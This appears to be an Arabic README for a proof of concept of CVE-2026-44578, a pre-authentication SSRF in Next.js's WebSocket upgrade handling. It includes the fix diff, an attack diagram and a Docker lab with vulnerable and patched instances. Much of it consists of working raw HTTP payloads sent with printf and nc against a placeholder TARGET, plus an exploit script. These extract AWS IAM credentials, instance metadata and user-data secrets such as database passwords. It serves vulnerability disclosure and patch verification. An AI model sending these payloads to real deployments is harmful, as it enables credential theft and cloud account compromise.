
CVE-2026-44578: ثغرة SSRF في ترقية WebSocket في Next.js — سرقة بيانات الاعتماد قبل المصادقة عبر localhost:80. مختبر + استغلال + تدقيق.
ثغرة تزوير الطلبات من جانب الخادم (SSRF) قبل المصادقة في عمليات نشر Next.js المستضافة ذاتيًا.
طلب HTTP واحد مصمَّم بعناية يستخرج بيانات اعتماد AWS والأسرار وبيانات الخدمات الداخلية من localhost:80.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 عالية (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| النوع | SSRF (CWE-918) |
| النسخ المتأثرة | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (للاستضافة الذاتية فقط) |
| النسخة المصححة | 15.5.16, 16.2.5 |
| المصادقة المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
معالج ترقية WebSocket في router-server.ts يستدعي proxyRequest() كلما كانت قيمة parsedUrl.protocol صحيحة (truthy) — دون التحقق من علامتَي إتمام التوجيه finished وstatusCode اللتين كان معالج HTTP يفرضهما دائمًا.
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
بعد أن يختزل normalizeRepeatedSlashes النمط http:/// إلى http:/، يصبح اسم المضيف فارغًا (null) ويتصل http-proxy بـ localhost:80 بالمسار الصحيح. أي خدمة مشاركة على نفس المضيف (بيانات تعريف السحابة، لوحات الإدارة، واجهات برمجة التطبيقات الداخلية) تصبح مكشوفة.
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
لا يمكن لـ
curlإرسال URIs بالصيغة المطلقة. استخدم TCP الخام:ncأوncatأوsocatأو مقابس Python.
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
يؤدي هذا إلى تشغيل 5 حاويات:
| الحاوية | الدور | المنفذ المكشوف |
|---|---|---|
nextjs-vuln | Next.js 15.5.15 (قابلة للاختراق) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (مصححة) | localhost:3001 |
imds-sidecar-vuln | محاكي AWS IMDSv1 يتشارك الشبكة مع النسخة القابلة للاختراق | localhost:80 (من منظور النسخة القابلة للاختراق) |
imds-sidecar-fixed | محاكي AWS IMDSv1 يتشارك الشبكة مع النسخة المصححة | localhost:80 (من منظور النسخة المصححة) |
internal-api | محاكاة خدمة داخلية | — |
تستخدم الحاويات الجانبية IMDS خيار network_mode: "service:nextjs-*" بحيث تكون خدمة البيانات التعريفية الوهمية على localhost:80 داخل حاوية Next.js — لمحاكاة مثيل سحابي حقيقي.
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
جميع الحاويات تعمل — النسخة القابلة للاختراق (15.5.15) على :3000، والنسخة المصححة (15.5.16) على :3001، والحاويات الجانبية IMDS تتشارك مساحات أسماء الشبكة.
طلب واحد يُرجع دليل بيانات EC2 التعريفية بالكامل (ami-id وinstance-id وiam/ وplacement/ وغيرها).
مجموعة بيانات اعتماد IAM كاملة: AccessKeyId وSecretAccessKey وToken وExpiration.
سكربت التمهيد user-data في EC2 يحتوي على DB_PASSWORD وAPI_KEY.
تم استخراج معرّف المثيل عبر نفس ناقل هجوم SSRF.
نفس الحمولة مُرسلة إلى Next.js 15.5.16. يُغلق الاتصال فورًا — لا يتم إرجاع أي بيانات.
سجلات IMDS الوهمية تُظهر طلبات GET قادمة من 127.0.0.1 (عملية Next.js)، مما يثبت أن هجوم SSRF يحدث من جانب الخادم.
جميع اختبارات SSRF السبعة تُرجع بيانات حساسة من المثيل القابل للاختراق.
تم حظر جميع الاختبارات السبعة على المثيل المصحح. تم تأكيد نجاح الإصلاح.
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000